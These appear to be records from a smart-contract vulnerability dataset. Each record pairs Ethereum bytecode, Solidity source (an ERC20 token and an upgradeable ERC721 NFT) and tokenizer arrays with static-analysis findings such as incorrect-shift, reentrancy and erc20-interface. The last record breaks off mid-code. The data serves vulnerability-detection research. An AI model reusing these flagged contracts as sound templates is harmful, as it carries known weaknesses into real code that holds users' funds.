1b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906126bf9060019061323b565b600083815260096020526040812054600880549394509092849081106126e7576126e761332a565b9060005260206000200154905080600883815481106127085761270861332a565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061274057612740613314565b6001900381819060005260206000200160009055905550505050565b600061276783610e43565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6040518061022001604052806011905b60608152602001906001900390816127b05790505090565b60408051808201909152606081526001602082016127b0565b80356001600160a01b03811681146127f857600080fd5b919050565b60006020828403121561280f57600080fd5b612818826127e1565b9392505050565b6000806040838503121561283257600080fd5b61283b836127e1565b9150612849602084016127e1565b90509250929050565b60008060006060848603121561286757600080fd5b612870846127e1565b925061287e602085016127e1565b9150604084013590509250925092565b600080600080608085870312156128a457600080fd5b6128ad856127e1565b93506128bb602086016127e1565b925060408501359150606085013567ffffffffffffffff808211156128df57600080fd5b818701915087601f8301126128f357600080fd5b81358181111561290557612905613340565b604051601f8201601f19908116603f0116810190838211818310171561292d5761292d613340565b816040528281528a602084870101111561294657600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000806040838503121561297d57600080fd5b612986836127e1565b91506020830135801515811461299b57600080fd5b809150509250929050565b600080604083850312156129b957600080fd5b6129c2836127e1565b946020939093013593505050565b6000602082840312156129e257600080fd5b813561281881613356565b6000602082840312156129ff57600080fd5b815161281881613356565b600060208284031215612a1c57600080fd5b5035919050565b600060208284031215612a3557600080fd5b5051919050565b60008151808452612a54816020860160208601613252565b601f01601f19169290920160200192915050565b60008151612a7a818560208601613252565b9290920192915050565b60008251612a96818460208701613252565b9190910192915050565b60008351612ab2818460208801613252565b835190830190612ac6818360208801613252565b01949350505050565b60008a51612ae1818460208f01613252565b8a5190830190612af5818360208f01613252565b8a51612b078183850160208f01613252565b8a51929091010190612b1d818360208d01613252565b8851612b2f8183850160208d01613252565b8851929091010190612b45818360208b01613252565b8651612b578183850160208b01613252565b8651929091010190612b6d818360208901613252565b8451612b7f8183850160208901613252565b9101019b9a5050505050505050505050565b600083516020612ba48285838901613252565b600160fd1b918401918252845460019060009080831c81841680612bc957607f821691505b858210811415612be757634e487b7160e01b84526022600452602484fd5b808015612bfb5760018114612c1057612c41565b60ff1984168887015282880186019450612c41565b60008b81526020902060005b84811015612c375781548a8201890152908701908801612c1c565b5050858389010194505b50929a9950505050505050505050565b601160f91b81528351600090612c6e816001850160208901613252565b600160fd1b6001918401918201528451612c8f816002840160208901613252565b61011160f51b600292909101918201528351612cb2816004840160208801613252565b0160040195945050505050565b601160f91b81528351600090612cdc816001850160208901613252565b600160fd1b6001918401918201528451612cfd816002840160208901613252565b61011160f51b600292909101918201528351612d20816004840160208801613252565b62202b3160e81b6004929091019182015260070195945050505050565b6e7b226e616d65223a2022426167202360881b81528251600090612d6881600f850160208801613252565b7f222c20226465736372697074696f6e223a2022546865726520776173206f6e65600f918401918201527f206d6176657269636b2070756e6b206769726c2c20696e206f7264657220746f602f8201527f2073686f772074686520776f726c642077686174207265616c2050756e6b2077604f8201527f61732c2073686520736163726966696365642068657273656c6620746f207468606f8201527f6520476f642e2048657220626f64792077617320676f6e652c20627574206865608f8201527f72206669657279207370697269742072656d61696e656420616e64206265636160af8201527f6d652074686520476f6464657373206f662050756e6b2e20313733207472616960cf8201527f6c626c617a657273207765726520696e7370697265642062792068657220646560ef8201527f656420616e642073776f726520746f206265206865722066697273742061706f61010f8201527f73746c65732e20546865792063616c6c6564207468656d73656c76657320746861012f8201527f652050656f706c6527732050756e6b7320616e64206465766f7465642074686561014f8201527f6972206c697665732070726f73656c7974697a696e672e2054686520576f726461016f8201527f2063616c6c6564206f6e207468656d2066726f6d20616c6c206f76657220746861018f8201527f6520776f726c6420746f20617373656d626c6520696e207468652050756e6b206101af8201527f56616c6c65792e20546865792065737461626c6973686564207468652050756e6101cf8201527f6b2043616d702c20616e642c20776974682074686520537069726974206f66206101ef8201527f74686520476f6464657373206f662050756e6b2c20666f7267656420696e766161020f8201527f6c7561626c6520776561706f6e732c2061726d6f72732c20616e64206f74686561022f8201527f72206974656d732c20746f20776869636820746865206e616d6520746865207061024f8201527f4c6f6f742077617320676976656e2e222c2022696d616765223a20226461746161026f820152750e9a5b5859d94bdcdd99cade1b5b0ed8985cd94d8d0b60521b61028f8201526130af6130a16102a5830186612a68565b61227d60f01b815260020190565b95945050505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c0000008152600082516130f081601d850160208701613252565b91909101601d0192915050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061313090830184612a3c565b9695505050505050565b6020815260006128186020830184612a3c565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115613203576132036132e8565b500190565b600082613217576132176132fe565b500490565b6000816000190483118215151615613236576132366132e8565b500290565b60008282101561324d5761324d6132e8565b500390565b60005b8381101561326d578181015183820152602001613255565b8381111561130c5750506000910152565b600181811c9082168061329257607f821691505b602082108114156132b357634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156132cd576132cd6132e8565b5060010190565b6000826132e3576132e36132fe565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461195657600080fdfe3c2f746578743e3c7465787420783d2231302220793d2236302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223136302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223132302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d2238302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223130302220636c6173733d2262617365223e3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d22626c61636b22202f3e3c7465787420783d2231302220793d2232302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223134302220636c6173733d2262617365223e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f3c2f746578743e3c7465787420783d2231302220793d2234302220636c6173733d2262617365223ea2646970667358221220eed0dbe8986db378c6d8c51b5476aee1fbe27be85fed7d55909ecce5680a9fa064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2581, 2620, 2098, 2546, 2683, 2063, 2620, 2063, 12740, 2683, 2487, 2050, 2549, 2094, 2620, 2581, 8586, 2475, 2063, 2549, 3207, 2509, 2497, 2620, 16048, 2278, 2509, 2546, 20952, 3676, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5641, 1011, 6185, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 2676, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,832
0x95c7ee7cac4b14fa9d3ffaf34d74791882cbe7cf
pragma solidity ^ 0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract RTCCOINTOKEN { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); function RTCCOINTOKEN( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461017e57806323b872dd146101a3578063313ce567146101cb57806342966c68146101f457806370a082311461020a57806379cc67901461022957806395d89b411461024b578063a9059cbb1461025e578063cae9ca5114610282578063dd62ed3e146102e7575b600080fd5b34156100c957600080fd5b6100d161030c565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010d5780820151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015357600080fd5b61016a600160a060020a03600435166024356103aa565b604051901515815260200160405180910390f35b341561018957600080fd5b6101916103da565b60405190815260200160405180910390f35b34156101ae57600080fd5b61016a600160a060020a03600435811690602435166044356103e0565b34156101d657600080fd5b6101de610457565b60405160ff909116815260200160405180910390f35b34156101ff57600080fd5b61016a600435610460565b341561021557600080fd5b610191600160a060020a03600435166104eb565b341561023457600080fd5b61016a600160a060020a03600435166024356104fd565b341561025657600080fd5b6100d16105d9565b341561026957600080fd5b610280600160a060020a0360043516602435610644565b005b341561028d57600080fd5b61016a60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061065395505050505050565b34156102f257600080fd5b610191600160a060020a0360043581169060243516610781565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103a25780601f10610377576101008083540402835291602001916103a2565b820191906000526020600020905b81548152906001019060200180831161038557829003601f168201915b505050505081565b600160a060020a033381166000908152600560209081526040808320938616835292905220819055600192915050565b60035481565b600160a060020a0380841660009081526005602090815260408083203390941683529290529081205482111561041557600080fd5b600160a060020a038085166000908152600560209081526040808320339094168352929052208054839003905561044d84848461079e565b5060019392505050565b60025460ff1681565b600160a060020a0333166000908152600460205260408120548290101561048657600080fd5b600160a060020a03331660008181526004602052604090819020805485900390556003805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60046020526000908152604090205481565b600160a060020a0382166000908152600460205260408120548290101561052357600080fd5b600160a060020a038084166000908152600560209081526040808320339094168352929052205482111561055657600080fd5b600160a060020a038084166000818152600460209081526040808320805488900390556005825280832033909516835293905282902080548590039055600380548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103a25780601f10610377576101008083540402835291602001916103a2565b61064f33838361079e565b5050565b60008361066081856103aa565b156107795780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156107165780820151838201526020016106fe565b50505050905090810190601f1680156107435780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561076457600080fd5b5af1151561077157600080fd5b505050600191505b509392505050565b600560209081526000928352604080842090915290825290205481565b6000600160a060020a03831615156107b557600080fd5b600160a060020a038416600090815260046020526040902054829010156107db57600080fd5b600160a060020a038316600090815260046020526040902054828101101561080257600080fd5b50600160a060020a0380831660008181526004602052604080822080549488168084528284208054888103909155938590528154870190915591909301927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3600160a060020a0380841660009081526004602052604080822054928716825290205401811461089f57fe5b505050505600a165627a7a72305820a8762816e8252773448cde246ce4e3b11956d574065806a8aa56311c175434550029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2581, 4402, 2581, 3540, 2278, 2549, 2497, 16932, 7011, 2683, 2094, 2509, 20961, 2546, 22022, 2094, 2581, 22610, 2683, 15136, 2620, 2475, 27421, 2063, 2581, 2278, 2546, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 1035, 4469, 2850, 2696, 1007, 6327, 1025, 1065, 3206, 19387, 21408, 18447, 11045, 2078, 1063, 1013, 1013, 2270, 10857, 1997, 1996, 19204, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 1013, 1013, 2324, 26066, 2015, 2003, 1996, 6118, 4081, 12398, 1010, 4468, 5278, 2009, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,833
0x95c8142a539aBA93f7a38832549a275B3756831d
// SPDX-License-Identifier: MIT pragma solidity >= 0.8.0; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol"; contract MaskEnumerableNFT is ERC721EnumerableUpgradeable, OwnableUpgradeable { string private baseURI; // index ==> resource URI mapping(uint256 => string) private resource_list; // id ==> resource index mapping(uint256 => uint256) private index_by_id; function initialize( string memory _name, string memory _symbol, string memory _baseURI_ ) public initializer { __ERC721_init(_name, _symbol); __ERC721Enumerable_init(); __Ownable_init(); baseURI = _baseURI_; } function mint(uint256 number) external { for (uint256 i = 0; i < number; i++) { _safeMint(msg.sender, totalSupply()); } } function mint_other_types(uint256 number, uint256 resource_index) external { for (uint256 i = 0; i < number; i++) { uint256 id = totalSupply(); _safeMint(msg.sender, id); index_by_id[id] = resource_index; } } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { uint256 index = index_by_id[tokenId]; string memory uri = resource_list[index]; bytes memory uri_length = bytes(uri); if (uri_length.length == 0) { return baseURI; } return uri; } function set_resource(uint256 index, string memory resource) external onlyOwner { resource_list[index] = resource; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "./IERC721EnumerableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable { function __ERC721Enumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Enumerable_init_unchained(); } function __ERC721Enumerable_init_unchained() internal initializer { } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721Upgradeable.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } uint256[46] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = 